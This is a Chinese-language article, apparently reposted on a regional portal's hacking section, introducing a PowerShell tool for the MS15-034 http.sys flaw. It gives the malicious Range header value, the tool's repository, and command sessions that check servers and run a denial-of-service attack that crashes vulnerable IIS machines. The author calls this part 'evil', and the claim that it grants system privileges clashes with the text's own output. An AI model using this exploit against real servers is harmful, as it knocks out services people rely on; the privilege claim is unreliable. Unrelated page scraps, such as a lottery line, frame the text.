笑話大全ico
您當前的位置 :廈門門戶網>黑客安全>系統攻防> 正文
MS15-034 Powershell版攻擊腳本
2015-04-13 13:28來源:廈門門戶網
【摘要】
星期四一早我的推特就被微軟最新的ms15-034漏洞公告刷屏了. ms15-034漏洞出在http.sys文件中.這個文件是iis的一個重要組件,功能和特性對windows來說意義重大.微軟公告說這個漏洞是一個可以執行遠
星期四一早我的推特就被微軟最新的ms15-034漏洞公告刷屏了.
 
ms15-034漏洞出在http.sys文件中.這個文件是iis的一個重要組件,功能和特性對windows來說意義重大.微軟公告說這個漏洞是一個可以執行遠程代碼的漏洞,但是截至目前為止已發布的poc僅僅只能dos掉系統,雖然有人聲稱出售可以用于遠程攻擊的poc但是真實性值得懷疑.
 
過去這幾出現了各種各樣的poc,甚至用于攻擊ms15-034的metasploit模塊也出現了.如果你用類unix操作系統或者電腦里安裝了諸如perlpython的腳本語言,你都可以獲得相應版本的poc代碼.只是,我覺得這些代碼對windows管理員來說還是不夠友好,我傾向于寫一個powershell版本的poc.
 
chris campbell寫的ps代碼可以檢測系統是否是易受攻擊的,但是某些情況下這個ps代碼的執行不夠理想.
 
chris的代碼有三個問題,1是他沒有考慮到http 404錯誤的情況,第二個是不會收集http 400錯誤,第三個是代碼有前后不匹配的問題.
 
我覺得僅僅用powershell來驗證一個系統是否受攻擊是不夠的,最好是能更進一步拿下系統權限.
 
開始之前我們首先要明確一個問題,請不要使用.net的Webrequest類來生成http header的值,而應該用更底層的TCPClient類來實現.
 
我寫的這個漏洞利用程序受到了Metasploit ms15034漏洞模塊的影響.你可以在github上面找到這段代碼 https://github.com/poshsecurity/MS15034. 其中最重要的兩個函數是test-ms15-34和invoke-ms15034dos 前者是測試用的,后者執行對指定系統的dos攻擊.
 
測試:
 
你需要給漏洞利用程序指定如下三個參數:
 
1. windows2008
 
2. windows2012
 
3. -serverPath
 
前兩個參數代表被攻擊的機器,它們會訪問http://computer/welcom.png 和 http://computer/iis-85.png. 第三個參數是可選的,你可以用下面的方式使用這個參數:
 
1. /index.html
 
2. /companylogo.png
 
3. images/logo.jpg
 
讓我們來看看具體的例子:
 
1.測試一臺裝了windows2008的服務器是否有漏洞。
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Test-MS15034 -Computer 192.168.1.3 -Windows2008
This server is vulnerable to MS 15-034
PS C:\tools>
2. 測試一臺裝了windows2012的服務器是否有漏洞.
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Test-MS15034 -Computer 192.168.1.2 -Windows2012
This server is vulnerable to MS 15-034
PS C:\tools>
3. 測試顯示服務器不存在漏洞
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Test-MS15034 -Computer 192.168.1.4 -Windows2012
This server is not vulnerable to MS 15-034
PS C:\tools>
4.使用自定義路徑來測試服務器是否有漏洞
 
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Test-MS15034 -Computer 192.168.1.3 -ServerPath "/welcome.png"
This server is vulnerable to MS 15-034
PS C:\tools>
5. 故意使用錯誤的系統版本來測試服務器是否有漏洞
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Test-MS15034 -Computer 192.168.1.3 -Windows2012
Test-MS15034 : The provided path has not been found, check you have selected the right operating system, or specified
a valid file in -ServerPath
At line:1 char:1
+ Test-MS15034 -Computer 192.168.1.3 -Windows2012
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Test-MS15034
PS C:\tools>
6. 用自定義路徑來檢測一臺服務器是否有漏洞(路徑不存在)
 
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Test-MS15034 -Computer 192.168.1.3 -ServerPath "/thisdoesnotexist.png"
Test-MS15034 : The provided path has not been found, check you have selected the right operating system, or specified
a valid file in -ServerPath
At line:1 char:1
+ Test-MS15034 -Computer 192.168.1.3 -ServerPath "/thisdoesnotexist.png"
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [Write-Error], WriteErrorException
    + FullyQualifiedErrorId : Microsoft.PowerShell.Commands.WriteErrorException,Test-MS15034
PS C:\tools>
CMDLet用指定參數來連接URL,并且連接的時候指定http header的范圍是 bytes=0-18446744073709551615.如果服務器響應式http 416那么就說明此服務器是受此漏洞影響的.
 
接下來我們來干一點邪惡的事情,通過這個漏洞直接拿到系統的權限. invoke-ms15034dos這個函數會幫我們實現這個目的.這個函數需要的參數和上面差不多.它們兩者的區別在于后者用先測試被攻擊的服務器是否是有漏洞的.有漏洞它才會執行攻擊.否則它僅僅是執行dos攻擊.dos攻擊的 http header 需要被指定為: Range: bytes=0-18446744073709551615.
 
1. 對windwos2012r2服務器執行拒絕服務攻擊
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Invoke-MS15034DOS -Computer 192.168.1.2 -Windows2012
The server is vulnerable, performing Denial Of Service
Looks like the DOS was successful
PS C:\tools>
2. 對windwos2008r2服務器執行拒絕服務攻擊
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Invoke-MS15034DOS -Computer 192.168.1.3 -Windows2008
The server is vulnerable, performing Denial Of Service
Looks like the DOS was successful
PS C:\tools>
3. 下面的測試是來看看 如果你攻擊一臺打了補丁的服務器會出現的反應.
 
PS C:\tools> Import-Module .\MS15034.psm1
PS C:\tools> Invoke-MS15034DOS -Computer 192.168.1.4 -Windows2012
Test-MS15034 reported the server not as vulnerable, so not performing Denial Of Service
PS C:\tools>
最后需要提醒的是,我的攻擊代碼只支持http,對https未做考慮.
標簽(Tag):
官方郵箱:[email protected] 官方微信:xmyy_com 官方微博:
 
  • 掃描二維碼關注官方微信

山东十一选五走势图360